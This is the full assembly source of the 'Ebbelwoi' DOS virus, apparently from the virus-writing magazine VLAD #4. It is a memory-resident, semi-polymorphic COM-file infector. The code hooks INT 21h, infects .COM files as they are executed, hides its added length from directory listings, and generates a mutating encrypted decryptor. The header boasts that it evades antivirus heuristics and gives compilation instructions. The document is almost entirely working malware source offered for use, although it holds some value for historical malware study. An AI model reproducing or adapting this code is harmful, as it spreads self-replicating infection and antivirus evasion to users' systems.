home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.3_6 < prev    next >
Encoding:
Text File  |  1995-03-22  |  18.1 KB  |  679 lines

  1.  
  2. COMMENT *
  3.  
  4.     EBBELWOI VIRUS / Subversion Qux-7                          by Sirius
  5.     --------------------------------------------------------------------
  6.                          Made in Germany, 1993-4
  7.  
  8.     It  is  an  easy  to  understand  Semi-polymorphic,  memory resident
  9.     parasitic  COM-File-Infector  utilizing  simple  filelength-stealth.
  10.  
  11.     This piece of replicating code could not be found  by  the heuristic
  12.     algorithms of Thunderbyte AV.      The version used was TbSCAN 6.09.
  13.  
  14.     For compilation please use Turbo Assembler (3.0) from Borland.
  15. *
  16.  
  17.  
  18.  
  19. ofs             equ   offset
  20. v_len           equ   end_mark - encrypted_code
  21. enc_len         equ   (offset end_enc_code-offset encrypted_code)/2 + 1
  22.  
  23. CODE    SEGMENT
  24.     ASSUME  CS:CODE,DS:CODE,ES:CODE,SS:CODE
  25.     ORG     100h
  26.  
  27. sample: jmp     start
  28.  
  29. start:
  30.      DB     0BEh                          ;1)  = mov si, ofs_enc
  31. _ofs_enc DW     ofs encrypted_code
  32.  
  33.      DB     0BAh                          ;2)  = mov dx, enc_val
  34. _enc_val DW     0000
  35.  
  36. CRYPT:
  37.      DB     0B9h                          ;3)  = mov cx,v_len
  38. _len_vir DW     0000
  39.  
  40. n_loop:
  41. ;--------------------------------------------------
  42.     xor     [si],dx                       ;4) ;  4 bytes
  43.     nop                                       ;
  44.     nop                                       ;
  45. ;--------------------------------------------------
  46. ;--------------------------------------------------
  47.     nop                                   ;5) ;; 2 bytes
  48.     nop                                       ;; place 4 enc. key change
  49. ;--------------------------------------------------
  50. ;--------------------------------------------------
  51.     inc     si                            ;6) ;  3 bytes
  52.     inc     si                                ;
  53.     nop                                       ;
  54. ;--------------------------------------------------
  55.     loop    n_loop                        ;7) ;  2 bytes
  56. ;--------------------------------------------------
  57. nop_ret:                                          ;
  58.     NOP    ; may be set to a RET  (0c3h)  ;8) ;
  59. ;--------------------------------------------------
  60.  
  61. ;============================================================================
  62.  
  63. encrypted_code:
  64.  
  65.     call    s1         ; push ofs s1
  66. s1:     pop     bp         
  67.     sub     bp,ofs s1
  68.  
  69.     mov     ax,0FEFEh
  70.     int     21h
  71.     cmp     si,01994h
  72.     jz      already_resident
  73.  
  74.     xor     AX,AX
  75.     mov     DS,AX
  76.  
  77.     lds     BX,ds:[4*21h]                    ; get int 21 handler
  78.     mov     word ptr cs:[bp+OLD_BX],BX
  79.     mov     word ptr cs:[bp+OLD_ES],DS
  80.  
  81.     mov     bx,cs                            ; Get address of our memory
  82.     dec     bx                               ; block
  83.     mov     DS,BX                            ; decrease memory allocated
  84.     sub     WORD PTR ds:[0003h],150h         ; to this program
  85.     sub     word ptr ds:[0012h],150h         ; decrease avail. memory
  86.  
  87.     mov     word ptr ax,ds:[0012h]           ; by paragraphs (=10 bytes)
  88.     mov     es,ax                            ; es = our new segment
  89.     push    cs
  90.     pop     ds
  91.  
  92.     lea     si,[bp+encrypted_code] ; copy virus-body w/o decryptor to TOM
  93.     mov     di,ofs encrypted_code  ; ES:encrypted_code is destination -
  94.     mov     cx,v_len               ; so the offsets in the interrupt
  95.     repz    movsb                  ; are equal to offsets in this
  96.                        ; sample file
  97.     mov     ds,cx            ; cx=0
  98.     cli                      ; set our handler
  99.     MOV     word ptr ds:[4*21h+2],AX
  100.     MOV     WORD PTR ds:[4*21h],offset new_21
  101.     sti
  102.  
  103.     push    cs
  104.     pop     ds
  105.     push    cs
  106.     pop     es
  107.  
  108. already_resident:
  109.     lea     si,[bp+orig_bytes]        ;restore first 3bytes of prog
  110.     mov     di,100h
  111.     movsb
  112.     movsw
  113.  
  114.     mov     ax,100h
  115.     push    ax
  116.     xor     ax,ax
  117.     ret
  118.  
  119. ;============================================================================
  120.  
  121. NEW_21:
  122.     pushf
  123.     cmp     ax,4b00h
  124.     jz      function_to_hang
  125.     cmp     ah,11h
  126.     jz      dos_dir
  127.     cmp     ah,12h
  128.     jz      dos_dir
  129.     cmp     ax,0FEFEh
  130.     jne     false_function
  131.     mov     ax,0FE00h
  132.     mov     si,1994h
  133.     popf
  134.     iret
  135.  
  136. false_function:
  137. go_int_popf:
  138.     popf
  139. call_original_21:
  140.     DB      0EAh            ; FAR JUMP old_es:old_bx
  141. old_bx  DW      1122h
  142. old_es  DW      3344h
  143.  
  144. dir_flag DB     00
  145.  
  146. ;============================================================================
  147.  
  148. dos_dir:
  149.     DB      2Eh                     ; assume CS:
  150.     cmp     cs:dir_flag,1
  151.     jz      go_int_popf
  152.  
  153.     mov     cs:dir_flag,1
  154.     int     21h
  155.     mov     cs:dir_flag,0
  156.  
  157.     push    ax
  158.     push    bx
  159.     push    dx
  160.     push    ds
  161.     push    es
  162.     pushf
  163.  
  164.     or      al,al                   ; not zero means no files found
  165.     jnz     no_files_found
  166.  
  167.     mov     ah,51h
  168.     int     21h
  169.     mov     es,bx
  170.     cmp     bx,es:16                ; equal is DOS
  171.  
  172.     jne     no_files_found
  173.  
  174.     mov     ah,2fh
  175.     int     21h
  176.  
  177.     push    es
  178.     pop     ds
  179.  
  180.     cmp     byte ptr [bx],0ffh
  181.     jnz     n_FCB
  182.     add     bx,7
  183.  
  184. n_FCB:  mov     al,byte ptr [bx+23]
  185.  
  186.     and     al,00011111b
  187.     cmp     al,00000011b         ;vegleichen auf sec.=6 (=3)
  188.     jnz     no_files_found
  189.  
  190.     sub     word ptr [bx+29],(v_len+117)  ; 117 is length of decryptor
  191.     sbb     word ptr [bx+31],0
  192.  
  193. no_files_found:
  194.     popf
  195.     pop     es
  196.     pop     ds
  197.     pop     dx
  198.     pop     bx
  199.     pop     ax
  200.  
  201. exit:   popf
  202.     iret
  203.  
  204. ;============================================================================
  205.  
  206. function_to_hang:
  207.     cld
  208.     push    ax         ; Function EXECUTE:
  209.     push    bx         ; DS:DX = @ of filename
  210.     push    cx
  211.     push    dx
  212.     push    si
  213.     push    di
  214.     push    ds
  215.     push    es
  216.  
  217.     push    cs                      ; Move file-name to our buffer
  218.     pop     es
  219.     mov     di,offset name_buf
  220.     mov     si,dx
  221.     mov     cx,64                   ; a path can be up to 64 chars long
  222.     rep     movsb
  223.  
  224.     push    cs
  225.     pop     ds
  226.  
  227. ;------------check if program executed is a .COM file------------------------
  228.  
  229.  
  230.     mov     si,offset name_buf
  231. orange: lodsb
  232.     or      al,al
  233.     jnz     orange
  234.     cmp     [si-3],'MO'
  235.     jz      apple
  236.     jmp     break_infection
  237.  
  238. apple:  cmp     [si-6],'.D'     ; dont infect command.com
  239.     jnz     continue_com
  240.     jmp     break_infection
  241.  
  242. ;--------------------our write error int24 handler--------------------------
  243. new_int24:
  244.        mov al,3                         ;choose '(F)ail'
  245.        iret
  246. ;============================================================================
  247.  
  248. continue_COM:
  249.        mov      ax,4301h                  ; clear attributes
  250.        mov      dx,offset name_buf
  251.        xor      cx,cx
  252.        int      21h
  253.  
  254.        mov      ax,3d02h                              ;open file
  255.        mov      dx,offset name_buf
  256.        int      21h
  257.        jc       done
  258.        mov      handle,ax        ; save it for later turbulences
  259.        xchg     ax,bx
  260.  
  261.        push     bx
  262.  
  263.        mov      ah,2fh                 ; copy DTA to buffer
  264.        int      21h                    ; @ of DTA = es:bx
  265.        push     es
  266.        pop      ds
  267.        push     cs
  268.        pop      es
  269.        mov      si,bx
  270.        add      si,15h                ; only copy a part of DTA
  271.        mov      di,offset dta
  272. ;       mov      cx,5
  273.        cld
  274. ;       rep      movsb
  275.        movsb
  276.        movsw
  277.        movsw
  278.  
  279.        push     cs
  280.        pop      ds
  281.  
  282.        pop      bx
  283.  
  284.        push     cs
  285.        pop      es
  286.  
  287.        mov      ax,time
  288.        and      al,00011111b
  289.        cmp      al,00000011b         ;vegleichen auf sec.=6 (=3)
  290.        jnz      infect
  291.  
  292. done:
  293.        mov      ah,3eh                           ;close file
  294.        int      21h
  295.  
  296. break_infection:
  297.        pop     es
  298.        pop     ds
  299.        pop     di
  300.        pop     si
  301.        pop     dx
  302.        pop     cx
  303.        pop     bx
  304.        pop     ax
  305.        jmp     false_function
  306.  
  307.  
  308. infect:
  309.        mov      ah,3fh                          ;erste 3 byt d. zuinfiz.prog
  310.        mov      dx,offset orig_bytes            ;sichern
  311.        mov      cx,3
  312.        int      21h
  313.  
  314.        cmp word ptr offset orig_bytes-3,"MZ"
  315.        jz  done
  316.        cmp word ptr offset orig_bytes-3,"ZM"
  317.        jz  done
  318.        cmp word ptr offset orig_bytes-3,0E957h          ; checks if L.COM
  319.        jz  done
  320.  
  321.        mov      ax,4202h                               ;pointer to EOF
  322.        xor      cx,cx
  323.        cwd
  324.        int      21h
  325.        mov      fil_len,ax            ; Länge der Opfer-Datei
  326.  
  327.        jc       done
  328.        cmp      ax,3                    ; file length check
  329.        jb       done
  330.        cmp      ax,50000
  331.        jnb      done
  332.  
  333.        sub      ax,3
  334.        mov      word ptr addr_jmp_op+1,ax     ;jmp - argument
  335.        add      ax,encrypted_code-start+103h
  336.        mov      word ptr [ofs_enc],ax
  337.        
  338.        push    ds                     ; inits a random number for
  339.        xor     ax,ax                  ; procedure random from timer
  340.        mov     ds,ax
  341.        mov     ax,ds:[46ch]
  342.        pop     ds
  343.        mov     init_nr,ax
  344.  
  345. ;============================================================================
  346.  
  347. ;change decryptor-header with the polymorphic method
  348.  
  349. ; calculate dx = enc_val
  350.        mov      ax,-2
  351.        call     random
  352.        mov      enc_val,ax
  353.        call     polymorphism
  354.  
  355. ;============================================================================
  356.  
  357. ;calculate and set si-argument
  358.        mov      ax,kilo
  359.        sub      ax,ofs enc_buffer
  360.        add      ax,fil_len
  361.        add      ax,100h
  362.        mov      si,ofs_mov_si
  363.        mov      [si+1],ax
  364.  
  365. ;calculate and set cx-Argument
  366.        mov      ax,v_len
  367.        mov      si,ofs_crypt
  368.        mov      [si+1],ax
  369.  
  370. ;calculate and set loop-Argument
  371.        mov      ax,kilo
  372.        sub      ax,ofs_n_loop
  373.        not      ax
  374.        sub      ax,2
  375.        mov      si,ofs_loop
  376.        mov      byte ptr [si+1],al
  377.  
  378. ;copy virus-body to buffer
  379.        mov      si,offset encrypted_code
  380.        mov      di,kilo     ; Ofs des nächsten freien Byte - direkt dem
  381.                 ; Decryptor folgend
  382.        mov      cx,v_len
  383.        cld
  384.        rep      movsb
  385.  
  386. ;encrypt virus-body-copy ( header wont get encrypted )
  387.        mov      si,kilo
  388.        mov      dx,enc_val
  389.        mov      di,kilo
  390.        mov      byte ptr [di-1], 0C3h               ; = RET opcode
  391.        mov      ax,ofs_crypt
  392.        push     di
  393.        call     ax
  394.        pop      di
  395.        mov      byte ptr [di-1], 090h               ; = NOP opcode
  396.        
  397.        mov      dx,offset enc_buffer
  398.        mov      cx,v_len
  399.        mov      ax,[kilo]
  400.        sub      ax,dx
  401.        add      cx,ax
  402.        mov      bx,handle
  403.        mov      ah,40h                    ;copy encrypted virus to file
  404.        int      21h
  405.  
  406.        jnc      york
  407.        jmp      done
  408.  
  409. york:  mov      ax,4200h                   ;bei al=2 ist schreiben ok !!
  410.        xor      cx,cx                      ;goto TOF
  411.        cwd
  412.        int      21h
  413.  
  414.        mov      ah,40h                 ;write new 3 bytes
  415.        mov      cx,3
  416.        mov      dx,offset addr_jmp_op
  417.        int      21h
  418.  
  419.        mov      ax,5701h
  420.        mov      dx,date
  421.        mov      cx,time
  422.        and      cl,11100000b
  423.        or       cl,00000011b                     ;set 6 sec.!!!!!!!!
  424.        int      21h
  425.        jmp      done
  426.  
  427. ;============================================================================
  428.  
  429. ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
  430. ; FIELD NR.      |  1.      |  2.     |  3.     |  4.     |  5.     |  6.     |  7.     |  8.     |
  431. ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
  432. ;                |          |         |         |         |         |         |         |         |
  433. ; Anfang des Feldes innerhalb der TAB_MUT
  434.   TAB_OFS_ARR DW  ofs arr_1, ofs arr_2,ofs arr_3,ofs arr_4,ofs arr_5,ofs arr_6,ofs arr_7, ofs arr_8
  435. ;                |          |         |         |         |         |         |         |         |
  436. ; Länge des Feldes
  437.   TAB_LEN_ARR DW     3,         3,        3,         4,        2,        3,        2,        1
  438. ;                |          |         |         |         |         |         |         |         |
  439. ; Anzahl der verschiedenen Variationen des einen Feldes
  440.   TAB_MUT_VAR DW     1,         1,        1,         4,        6,        3,        1,        1
  441. ;                |          |         |         |         |         |         |         |         |
  442. ;----------------+----------+---------+---------+---------+---------+---------+---------+---------+
  443.  
  444. ALL_ARRAYS    equ 8           ; Field Sum
  445.  
  446. tab_mut:
  447.  
  448. arr_1: ;------------------------------------------
  449.     DB      0BEh                               ; = mov si, ofs_enc
  450. ofs_enc DW      0000                               ;ofs encrypted_code
  451.  
  452.  
  453. arr_2: ;------------------------------------------
  454.     DB      0BAh                               ; = mov dx, enc_val
  455. enc_val DW      0000
  456.  
  457.  
  458. arr_3: ;---------------- 2 bytes -----------------
  459.     DB      0B9h                               ; = mov     cx,v_len
  460. len_vir DW      0000
  461.  
  462.  
  463. arr_4: ;--------------- 4 bytes ------------------
  464. ;-1-
  465.     dec     bp
  466.     xor     [si],dx
  467.     inc     ax
  468. ;-2-
  469.     xchg    ax,dx
  470.     xor     [si],ax
  471.     xchg    ax,dx
  472. ;-3-
  473.     mov     di,si
  474.     xor     [di],dx 
  475. ;-4-
  476.     mov     bx,si
  477.     xor     [bx],dx
  478.  
  479. arr_5: ;-------------- 2 bytes --------------------
  480. ;-1-
  481.     inc     dx
  482.     dec     ax
  483. ;-2-    
  484.     dec     dx
  485.     inc     di
  486. ;-3-
  487.     rol     dx,1
  488. ;-4-    
  489.     ror     dx,1
  490. ;-5-
  491.     neg     dx
  492. ;-6-
  493.     not     dx
  494.  
  495. arr_6: ;------------ 3 bytes -----------------------
  496. ;-1-
  497.     inc     si
  498.     inc     si
  499.     inc     di
  500. ;-2-
  501.     add     si,2
  502. ;-3-
  503.     sub     si,-2
  504.  
  505. arr_7: ;--------------------------------------------
  506.     DB      0E2h     ; = LOOP n_loop
  507.     DB      00
  508. arr_8: ;---------------------------------------------
  509.     nop
  510.  
  511. ;============================================================================
  512.  
  513. POLYMORPHISM proc near
  514.     push    ax bx cx dx si di bp ds es
  515.     mov     cx,all_arrays
  516.     xor     bx,bx
  517.     mov     kilo,ofs enc_buffer
  518. next_array:
  519.     call    GARB
  520.     push    cx
  521.     mov     si,[offset tab_ofs_arr+bx] ; offset innerhalb der TAB_MUT
  522.     call    var_random                 ; get one Variant
  523.     mov     dx,[offset tab_len_arr+bx] ; Länge einer Variante
  524.     mul     dx                         ; ax:=ax*dx
  525.     add     si,ax                      ; si=Anfang der gewählten Variante
  526.  
  527.     mov     cx,[offset tab_len_arr+bx]   ; Länge der Variante
  528.     mov     di, kilo                  ; Offset in der CRYPT-Routine
  529.  
  530.  
  531.     pop     ax             ; cx auf dem Stack = Nr. des akt. Feldes
  532.     cmp     ax,all_arrays    ; Speichere einige wichtige Konstanten
  533.     jne     oo1
  534.     mov     ofs_mov_si,di    ; liefert immer den Beginn des Feldes
  535.     jmp     short oo0
  536. oo1:    cmp     ax,all_arrays-1
  537.     jne     oo2
  538.     mov     ofs_mov_dx,di
  539.     jmp     short oo0
  540. oo2:    cmp     ax,all_arrays-2
  541.     jne     oo3
  542.     mov     ofs_crypt,di
  543.     jmp     short oo0
  544. oo3:    cmp     ax,all_arrays-4
  545.     jne     oo4
  546.     mov     ofs_n_loop,di
  547.     jmp     short oo0
  548. oo4:    cmp     ax,all_arrays-6
  549.     jne     oo0
  550.     mov     ofs_loop,di
  551. oo0:    push    ax
  552.  
  553.     cld
  554.     rep     movsb
  555.     mov     kilo,di
  556.  
  557.     inc     bx
  558.     inc     bx
  559.     pop     cx
  560.     loop    next_array
  561.  
  562.     pop     es ds bp di si dx cx bx ax
  563.     ret
  564. POLYMORPHISM endp
  565.  
  566. VAR_RANDOM proc near
  567.     push    si                  ;---
  568.     mov     ax,[tab_mut_var+bx] ; Eine Zahl im Bereich der max. Varianten
  569.     call    random              ; Anzahl wird erzeugt.
  570.     pop     si                  ;---
  571.     ret
  572. VAR_RANDOM endp
  573.  
  574. ;============================================================================
  575. ;     gives you a random number:  0 >= number > AX
  576. ;============================================================================
  577. RANDOM proc near               ; gives you a pseudo-random number in AX
  578.     push    bx dx
  579.     inc     cycle
  580.     mov     bx,init_nr
  581.     push    cx       ;-----
  582.     mov     cl,cycle       ;  do more randomly
  583.     ror     bx,cl          ;
  584.     pop     cx       ;-----
  585.     rcl     bx,1
  586.     rcl     bx,1
  587.     mov     init_nr,bx
  588.     mul     bx
  589.     xchg    ax,dx           ; AX = pseudo-random number
  590.     pop     dx bx
  591.     ret
  592. cycle   DB      0
  593. RANDOM endp
  594.  
  595. GARB proc near                          ; behandelt einen Feld-Zwischenraum
  596.     push    ax cx dx si di
  597.     mov     cx,3                    ; 4 is maximum due to a SHORT LOOP
  598. ;============================================================================
  599. ; behandelt eine Instruktion
  600. ;============================================================================
  601. garry:
  602.     mov     si,ofs codez
  603. other:  mov     ax,codez_number         ; Anzahl der codez in der Tabelle
  604.     call    random
  605.     cmp     al,last_codez
  606.     jz      other
  607.     mov     last_codez,al
  608.     add     si,ax                   ; Adr. des zuf. codez's
  609.     mov     di,kilo
  610.     movsb
  611.     mov     ax,-2
  612.     call    random
  613.     stosw
  614.     mov     kilo,di                 ; aktualisiere cant
  615.     loop    garry
  616.     pop     di si dx cx ax
  617.     ret
  618. GARB endp
  619.  
  620. ;============================================================================
  621.  
  622. last_codez DB   0
  623. codez:
  624.     DB      0BFh    ; mov di,xxxx
  625.     DB      0BBh    ; mov bx,xxxx
  626.     DB      0BDh    ; mov bp,xxxx
  627.     DB      0A1h    ; mov ax,[xxxx]
  628.  
  629.     DB      05h     ; add ax,xxxx
  630.     DB      2Dh     ; sub ax,xxxx
  631.     DB      3Dh     ; cmp ax,xxxx
  632.     DB      0Dh     ; or ax,xxxx
  633.     DB      25h     ; and ax,xxxx
  634.     DB      0A9h    ; test ax,xxxx
  635.     DB      15h     ; adc ax,xxxx
  636.     DB      1Dh     ; sbb ax,xxxx
  637.  
  638. codez_number    equ $-codez
  639.  
  640. orig_bytes      db  90h,0CDh,20h
  641. addr_jmp_op     db  0E9h,00,00
  642.  
  643.         DB  "[EBBELWOI] Version QUX-7  3/94 Sirius",0
  644.  
  645. end_enc_code    equ $
  646. end_mark        equ $
  647.  
  648. ;============================================================================
  649. ;    Variables
  650. ;============================================================================
  651. ofs_mov_si      dw  0000
  652. ofs_mov_dx      dw  0000
  653. ofs_crypt       dw  0000
  654. ofs_n_loop      dw  0000
  655. ofs_loop        dw  0000
  656. fil_len         dw  0000  ; Länge der Opfer-Datei
  657. ofs_crypt_buf   dw  0000  ; Adresse der Crypt-Routine im Puffer
  658.  
  659. init_nr         dw  0000  ; will be init'd anyway
  660. int24_es        dw  0000
  661. int24_bx        dw  0000
  662. temp_time       dw  0000
  663. temp_date       dw  0000
  664. handle          dw  0000
  665. kilo            dw  0000   ; enthält den Offset, an den Instruktionen
  666.                ; kopiert werden
  667. dta             equ $
  668. attribs         db  00
  669. time            dw  0000
  670. date            dw  0000
  671.  
  672. name_buf        db  0     ; here a  64 bytes buffer for path+filename
  673. enc_buffer      equ $
  674.  
  675. CODE    ENDS
  676.     END     sample
  677.  
  678.  
  679.